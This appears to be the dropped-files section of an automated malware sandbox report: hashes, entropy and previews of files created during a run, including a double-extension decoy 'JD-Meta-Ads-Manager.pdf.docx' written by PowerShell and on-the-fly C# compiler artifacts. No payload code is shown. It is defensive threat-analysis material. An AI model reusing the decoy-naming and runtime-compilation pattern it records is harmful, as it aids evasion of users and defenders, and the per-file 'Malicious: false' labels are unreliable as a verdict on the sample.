C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20010
Entropy (8bit):	5.02483968322263
Encrypted:	false
SSDEEP:	384:Prib43WKmVoGIpN6KQkj2Fkjh4iUxDhQIeFzUpX+OdBNNXp5yvOjJlYoaYpib47:PRWKmV3IpNBQkj2Uh4iUxDhiFzUpX+Oh
MD5:	435D032DDB5301D507119F054ABE9587
SHA1:	E5D4154F38575B85F59ECEBAED506F2C8EBB9F73
SHA-256:	A0309E124EAB5BCDEA5BF518D641576499DE7FEAA5662CC95F6ABD5EAF5853E9
SHA-512:	23B177CC2418E2A5677DE81CBE648CA651C7DA91E06D7847C02015FA89D2A3B321800DC5E9C6E6B028436ED54A56A36785058F73C12836DC774C24BDA3E182C1
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllulzlj:NllU
MD5:	67760624F50AEEF86923375E743F7492
SHA1:	9695187EF662FA2333016679ED8CBEC53D62B252
SHA-256:	D3A5761855335DBC674DDC745CC8DF67A42040AA77EAC13A1130EE89CDAD965E
SHA-512:	93CEA83FE41229DB16678BF8E9318C650F19B91AB92ACD35B1B8F183C9079CBE5D7C5B694F91321EDF4FC677C691F354DFE59D0570AB4E1F852564F3D8D7567A
Malicious:	false
Preview:	@...e...............................X................@..........

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733915673840656700_1FB0B10F-1DBF-4FFF-986B-8ADF7C215209.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.027651523321074567
Encrypted:	false
SSDEEP:	1536:zmj5iK6u3PHTjCI+KKsssOlyhYqgUTV/mnj2B/E:+P8iTVd
MD5:	8BC8905A7D49A45823CE60DA7E1962DC
SHA1:	20124C5690DB4BB5B8D8329A29125FD2E9FC5D14
SHA-256:	80AC7CC57E70FCD98061C79EF5A4260C71CF7944D40D99C2D661DF4FD16DD2BD
SHA-512:	3FE29C3A7A9B61F50A9E5EF749C8CE7EF80565480A8BD75DF73B2F04BB8E0CDC6F5FE90045CB65FF5DAC1CFEE73A22B6521A2417EB8E66AF5025A8E332641265
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 11:14:34.581.WINWORD (0x754).0x6E0.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Word.FileOpen.UserInitiatedOpen","Flags":2814775553802753,"InternalSequenceNumber":60,"Time":"2024-12-11T11:14:34.581Z","Contract":"Office.System.Activity","Activity.CV":"D7GwH78d/0+Ya4rffCFSCQ.1.18","Activity.Duration":314205,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Activity.Result.Code":0,"Activity.Result.Tag":37262085,"Data.OpenInitiateKind":3,"Data.fOpenFromBoot":true,"Data.fZrtOpenRequested":true,"Data.zrtRequestedReason":4,"Data.ScanRequiredResult":0,"Data.fFileAlreadyOpen":0,"Data.FileIOClpState":0,"Data.MainPdod":2529704591376,"Data.Measurements":"cZ33ib8ii10iK1iL11iU3iW1iY34ja2jc1jd2jh13ji2jj20jk71jl6jm2jn8jo3js3jx12jN1kn1ks8kx2lf4lh1a33ymo0b309","Data.TrackbackTag":37262080,"Data.IntermediateResultsTotalCount":1,"Data.IntermediateResults":"[{\"Code\":0,\"Tag\":372

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733915673841794600_1FB0B10F-1DBF-4FFF-986B-8ADF7C215209.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E813E170.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	19700
Entropy (8bit):	3.8824939802752128
Encrypted:	false
SSDEEP:	384:8yD8Gqcj6sIqitsd+NdsnFaFDUZYG+w1mQlopoBKMsZgskGIF+HZKzmO:8yD8Gz6BqitTnbpel+FQTBw6dF+W
MD5:	B5FDF074FA2F00790BED55FEEAAE06C3
SHA1:	CE4494B6A3BDE5961A97F933897296E715159A48
SHA-256:	7CEDF7B80253C9D507808BF46281536837CA21B9C1C16E87A71FFBE03A26213E
SHA-512:	32D247890DACFD3BDF717C88E8122C94B5838AF6E480077D15BB583DB3853F43F385B9A22FD14B6A81DB6579DA0D60E8830F0B048F12838A03B33D520CC3EF75
Malicious:	false
Preview:	{.".L.i.c.e.n.s.e.".:.".e.y.J.V.c.2.V.y.U.H.J.v.Z.m.l.s.Z.U.l.k.I.j.p.u.d.W.x.s.L.C.J.N.Y.X.h.E.Z.X.Z.p.Y.2.V.z.Q.W.x.s.b.3.d.l.Z.C.I.6.M.S.w.i.Q.W.N.0.a.X.Z.h.d.G.l.v.b.k.R.h.d.G.U.i.O.i.I.y.M.D.I.z.L.T.A.4.L.T.E.3.V.D.E.y.O.j.I.1.O.j.U.4.L.j.Y.w.M.T.E.x.N.T.d.a.I.i.w.i.R.X.J.y.b.3.J.G.Y.W.x.s.Y.m.F.j.a.0.N.h.d.G.V.n.b.3.J.5.I.j.p.u.d.W.x.s.L.C.J.S.Z.W.5.l.d.2.F.s.V.G.9.r.Z.W.4.i.O.i.J.l.e.U.p.K.W.k.d.W.d.W.R.H.b.D.B.l.U.0.k.2.S.W.x.0.V.m.M.y.V.n.l.T.V.1.E.5.V.j.B.4.S.l.J.D.M.H.d.N.R.E.F.6.T.k.R.B.d.0.1.U.R.T.J.O.e.m.R.G.U.k.R.j.M.0.8.w.T.n.B.a.R.D.A.0.T.m.p.J.N.F.p.H.T.T.F.O.R.F.p.r.W.X.p.r.N.U.5.E.W.T.V.P.M.D.V.o.Y.l.d.V.O.U.1.E.Q.X.d.N.e.l.F.3.T.U.R.F.e.E.5.q.Y.z.N.S.V.V.E.z.T.j.E.w.a.U.x.D.S.k.l.Z.W.E.p.r.Z.D.J.G.e.V.p.V.b.G.t.J.a.m.9.p.U.U.R.F.M.0.5.6.T.T.J.N.a.k.U.x.T.W.p.N.e.k.5.E.V.X.l.N.R.E.k.x.T.m.p.F.d.0.1.E.R.T.R.O.a.k.V.6.T.X.p.j.e.U.9.U.Y.3.p.O.e.l.F.3.T.W.p.V.d.0.1.U.a.3.d.N.V.F.k.1.T.0.R.J.N.U.1.6.Y.z.V.O.R.G.c.w.T.k.R.n.d.0.5.U.T.T.N.O.a.k.U.y.T.X.p.N.N.E.9.U.V.X.d.P.

C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	7.737727511212856
Encrypted:	false
SSDEEP:	96:MxEjTyPmOtE19oVKitqb37Xbm6HiLhOncYD8xLB83D44OXL:MghMVjtqT7Xbm62OcBxd83DJOb
MD5:	DB15D3AE0D25D001D6F1DD25DEDC408F
SHA1:	EA533B87BBD997D199565113B611C7F5A234F326
SHA-256:	32A3177BA7CF8F4F20FB8C04DE96C425BE3E5FC68D473A64ADDCC189B279767C
SHA-512:	4B229B0D27604F062EB184E38CDFCAEDB61E2B8B4F7B4A5386F3C3D82309956E183EC1746BB8BC86EA8AAB949B5181F659EA4E506329CFE60D7CD122C7AC6EFD
Malicious:	false
Preview:	PK.........~\|Y................_rels/.rels..;..0.D.bmO6P ..AHi.p...8Q.l.=.(........y...(..Y...FV:5Y...7.h.E....#...9.).#b.#..........)...9.M.+.=.O.....AS.pwA.r.j."....u...z....I....Q......W3..PK..O..<........PK.........~\|Y................word/_rels/document.xml.rels.....0.E.%..u!"M....R? &..6..T...........0yyU#......$..Z.9...9..P.y.#......$F.g.`w.z..>1.u..)...:j.8...:M7.v...4.u...I..Ex...T..4..d.jf..PM....FL.u...O...E.yD.n....+....PK..............PK.........~\|Y................word/document.xml.]_o....*...6.....Z.....>.i.@v..#..i.s.=...y.w.7.'...+....trp..........p8...Z..X'...<..O.haJ...O...N..\.\.......W?n/J#B..3.@.....8;s.....i@..5......5....ku.......K=....l.g...h.k......v.3..n/.......II....0ag...%^.r]..^...u%....O..._.^.pu9.v..&`.....tB....\Q?.v....>.w..I....\v?.Q..#..M....x..]c....yx.}....T......B(.66:Kov......n/"P...o,8......Y.[..\........Kc..U..{...,..\|...E....;..E..n.\k........[6.PJ.wmY..(.J..u(....y.=g.q.8.............B....

C:\Users\user\AppData\Local\Temp\RES1398.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Wed Dec 11 11:14:23 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	4.010026449531629
Encrypted:	false
SSDEEP:	24:HJm9hL+2MHMwKGmNII+ycuZhNXakSZPNnqSSd:ML+2MzKGmu1ulXa3bqSC
MD5:	C70CB42C2876B28D4D6B0657FC0850CB
SHA1:	DB6340092F0CB932129721FFF47BC170CF13F9B3
SHA-256:	10584B558729C8FBF049C8F21CB53BA6F66B4CB3B94E1D35D81022FF292C62FE
SHA-512:	D66B2E0628D2CDA6325AC51ED9AC2B09D7A490712E8265E7082C3DBC8D961A8A6215954AAD8518AAFB0AEFD4D842FA2338DFACC2371D49E0FD20AEB1009062DB
Malicious:	false
Preview:	L....tYg.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP..................\|.........).W...........5.......C:\Users\user\AppData\Local\Temp\RES1398.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.m.t.d.z.w.y.g...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0adbtxba.bqd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3aet40h4.s2z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3pdys5tw.d3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_421qjpsd.twx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awfu4eab.pe0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4zhojit.hye.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eanidhk3.dt3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftvslcb3.noi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihiffg3y.hpl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kl5mju5n.j1e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltge3sdq.vpo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkmens1w.5fb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mzmdaifv.ayj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qacw2pi4.taq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skdvffzq.hs4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjmrwi4t.emp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xrqsp3gw.egz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yp5apg1r.u1x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1057717177325594
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grykGIYak7YnqqvGINPN5Dlq5J:+RI+ycuZhNXakSZPNnqX
MD5:	7C109D17B51597BFEDA3D5A929E1572E
SHA1:	D3C79BC86E4858147978A9EDA2545D920B36FF64
SHA-256:	86C1EE3F773CD565D7C9E1C361495A9046AAC4BFCE7B43C01E290C5BEA95371B
SHA-512:	DFE1FFB3B984F1F5F91FA5D0A936D250F6CA41E5DA5B02A82735B84B48C2EE094588DB75B3D684B70F69E9994BD5AB272ED0FA206D02C670DAD3A708FE970227
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.m.t.d.z.w.y.g...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.m.t.d.z.w.y.g...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

